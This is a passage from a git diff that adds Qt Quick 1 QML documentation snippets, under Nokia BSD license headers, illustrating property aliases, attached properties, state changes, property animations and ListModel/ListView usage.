+ Rectangle {property string name: "childrectangle"}
+
+ //prints "childrectangle"
+ Component.onCompleted: console.log(children[0].name)
+}
+//! [object binding]
+
+//! [list attached property]
+Component {
+ id: listdelegate
+ Text {
+ text: "Hello"
+ color: ListView.isCurrentItem ? "red" : "blue"
+ }
+}
+ListView {
+ delegate: listdelegate
+}
+//! [list attached property]
+
+//! [attached signal handler]
+Item {
+ Keys.onPressed: console.log("Key Press Detected")
+ Component.onCompleted: console.log("Completed initialization")
+}
+//! [attached signal handler]
+
+//! [alias usage]
+Button {
+ id: textbutton
+ buttonLabel: "Click Me!"
+}
+//! [alias usage]
+
+//! [image alias]
+Button {
+ id: imagebutton
+ buttonImage.source: "http://qt.nokia.com/logo.png"
+ buttonLabel: buttonImage.source
+}
+//! [image alias]
+
+Item {
+id: widget
+
+//! [alias complete]
+property alias widgetLabel: label
+
+//will generate an error
+//widgetLabel.text: "Initial text"
+
+//will generate an error
+//property alias widgetLabelText: widgetLabel.text
+
+Component.onCompleted: widgetLabel.text = "Alias completed Initialization"
+//! [alias complete]
+
+ Text {id: label}
+}
+
+//![alias overwrite]
+Rectangle {
+ id: coloredrectangle
+ property alias color: bluerectangle.color
+ color: "red"
+
+ Rectangle {
+ id: bluerectangle
+ color: "#1234ff"
+ }
+
+ Component.onCompleted: {
+ console.log (coloredrectangle.color) //prints "#1234ff"
+ setInternalColor()
+ console.log (coloredrectangle.color) //prints "#111111"
+ coloredrectangle.color = "#884646"
+ console.log (coloredrectangle.color) //prints #884646
+ }
+
+ //internal function that has access to internal properties
+ function setInternalColor() {
+ color = "#111111"
+ }
+}
+//![alias overwrite]
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/qtquick1/propertyaction-sequential.qml b/doc/src/snippets/qtquick1/propertyaction-sequential.qml
new file mode 100644
index 0000000000..a60b1f45a3
--- /dev/null
+++ b/doc/src/snippets/qtquick1/propertyaction-sequential.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+ Item {
+ width: 400; height: 400
+
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
+
+ //! [sequential]
+ transitions: Transition {
+ SequentialAnimation {
+ PropertyAction { target: rect; property: "transformOrigin" }
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+ }
+ //! [sequential]
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
+ }
+ }
+}
diff --git a/doc/src/snippets/qtquick1/propertyaction.qml b/doc/src/snippets/qtquick1/propertyaction.qml
new file mode 100644
index 0000000000..f5ae79814e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/propertyaction.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Row {
+
+ //![transition]
+ Item {
+ width: 400; height: 400
+
+ Rectangle {
+ id: rect
+ width: 200; height: 100
+ color: "red"
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
+ }
+
+ transitions: Transition {
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.state = "rotated"
+ }
+ }
+ }
+ //![transition]
+
+ Item {
+ width: 300; height: 300
+
+ Image { id: img; source: "pics/qt.png" }
+
+ //![standalone]
+ SequentialAnimation {
+ PropertyAction { target: img; property: "smooth"; value: "true" }
+ NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
+ PropertyAction { target: img; property: "smooth"; value: "false" }
+ }
+ //![standalone]
+ }
+}
diff --git a/doc/src/snippets/qtquick1/propertyanimation.qml b/doc/src/snippets/qtquick1/propertyanimation.qml
new file mode 100644
index 0000000000..711feec084
--- /dev/null
+++ b/doc/src/snippets/qtquick1/propertyanimation.qml
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Row {
+
+//![transition]
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ //! [single state]
+ states: State {
+ name: "moved"
+ PropertyChanges { target: rect; x: 50 }
+ }
+ //! [single state]
+
+ transitions: Transition {
+ PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad }
+ }
+}
+//![transition]
+
+//![behavior]
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ Behavior on x { PropertyAnimation {} }
+
+ MouseArea { anchors.fill: parent; onClicked: parent.x = 50 }
+}
+//![behavior]
+
+//![propertyvaluesource]
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ SequentialAnimation on x {
+ loops: Animation.Infinite
+ PropertyAnimation { to: 50 }
+ PropertyAnimation { to: 0 }
+ }
+}
+//![propertyvaluesource]
+
+ //![standalone]
+ Rectangle {
+ id: theRect
+ width: 100; height: 100
+ color: "red"
+
+ // this is a standalone animation, it's not running by default
+ PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
+
+ MouseArea { anchors.fill: parent; onClicked: animation.running = true }
+ }
+ //![standalone]
+}
diff --git a/doc/src/snippets/qtquick1/propertychanges.qml b/doc/src/snippets/qtquick1/propertychanges.qml
new file mode 100644
index 0000000000..3334bbc204
--- /dev/null
+++ b/doc/src/snippets/qtquick1/propertychanges.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![import]
+import QtQuick 1.0
+//![import]
+
+Column {
+
+//![0]
+Item {
+ id: container
+ width: 300; height: 300
+
+ Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ }
+
+ states: State {
+ name: "resized"; when: mouseArea.pressed
+ PropertyChanges { target: rect; color: "blue"; height: container.height }
+ }
+ }
+}
+//![0]
+
+//![reset]
+Rectangle {
+ width: 300; height: 200
+
+ Text {
+ id: myText
+ width: 50
+ wrapMode: Text.WordWrap
+ text: "a text string that is longer than 50 pixels"
+
+ states: State {
+ name: "widerText"
+ PropertyChanges { target: myText; width: undefined }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: myText.state = "widerText"
+ }
+}
+//![reset]
+}
diff --git a/doc/src/snippets/qtquick1/qml-data-models/dynamic-listmodel.qml b/doc/src/snippets/qtquick1/qml-data-models/dynamic-listmodel.qml
new file mode 100644
index 0000000000..660a6b1505
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-data-models/dynamic-listmodel.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 250
+
+ //! [model]
+ ListModel { id: fruitModel }
+ //! [model]
+
+ //! [view]
+ ListView {
+ anchors.fill: parent
+ model: fruitModel
+ delegate: Row {
+ Text { text: "Fruit: " + name }
+ Text { text: "Cost: $" + cost }
+ }
+ }
+ //! [view]
+
+ //! [mouse area]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: fruitModel.append({"cost": 5.95, "name":"Pizza"})
+ }
+ //! [mouse area]
+}
diff --git a/doc/src/snippets/qtquick1/qml-data-models/listelements.qml b/doc/src/snippets/qtquick1/qml-data-models/listelements.qml
new file mode 100644
index 0000000000..dfc61e7a2f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-data-models/listelements.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 250
+
+ //! [model]
+ ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+ }
+ //! [model]
+
+ //! [view]
+ ListView {
+ anchors.fill: parent
+ model: fruitModel
+ delegate: Row {
+ Text { text: "Fruit: " + name }
+ Text { text: "Cost: $" + cost }
+ }
+ }
+ //! [view]
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/qml-data-models/listmodel-listview.qml b/doc/src/snippets/qtquick1/qml-data-models/listmodel-listview.qml
new file mode 100644
index 0000000000..f3946b2108
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-data-models/listmodel-listview.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 250
+
+ ListModel {
+ id: myModel
+ ListElement { type: "Dog"; age: 8 }
+ ListElement { type: "Cat"; age: 5 }
+ }
+
+ Component {
+ id: myDelegate
+ Text { text: type + ", " + age }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: myModel
+ delegate: myDelegate
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/qml-documents/inline-component.qml b/doc/src/snippets/qtquick1/qml-documents/inline-component.qml
new file mode 100644
index 0000000000..11a8f9617b
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-documents/inline-component.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 320;
+
+ ListView {
+ anchors.fill: parent
+ model: contactModel
+ delegate: Component {
+ Text {
+ text: modelData.firstName + " " + modelData.lastName
+ }
+ }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/qml-documents/inline-text-component.qml b/doc/src/snippets/qtquick1/qml-documents/inline-text-component.qml
new file mode 100644
index 0000000000..1d8676481f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-documents/inline-text-component.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 320;
+
+ ListView {
+ anchors.fill: parent
+ model: contactModel
+ delegate: Text {
+ text: modelData.firstName + " " + modelData.lastName
+ }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/qml-documents/non-trivial.qml b/doc/src/snippets/qtquick1/qml-documents/non-trivial.qml
new file mode 100644
index 0000000000..c2dd5e1c8a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/qml-documents/non-trivial.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 320;
+
+ resources: [
+ Component {
+ id: contactDelegate
+ Text {
+ text: modelData.firstName + " " + modelData.lastName
+ }
+ }
+ ]
+
+ ListView {
+ anchors.fill: parent
+ model: contactModel
+ delegate: contactDelegate
+ }
+}
+//! [document]
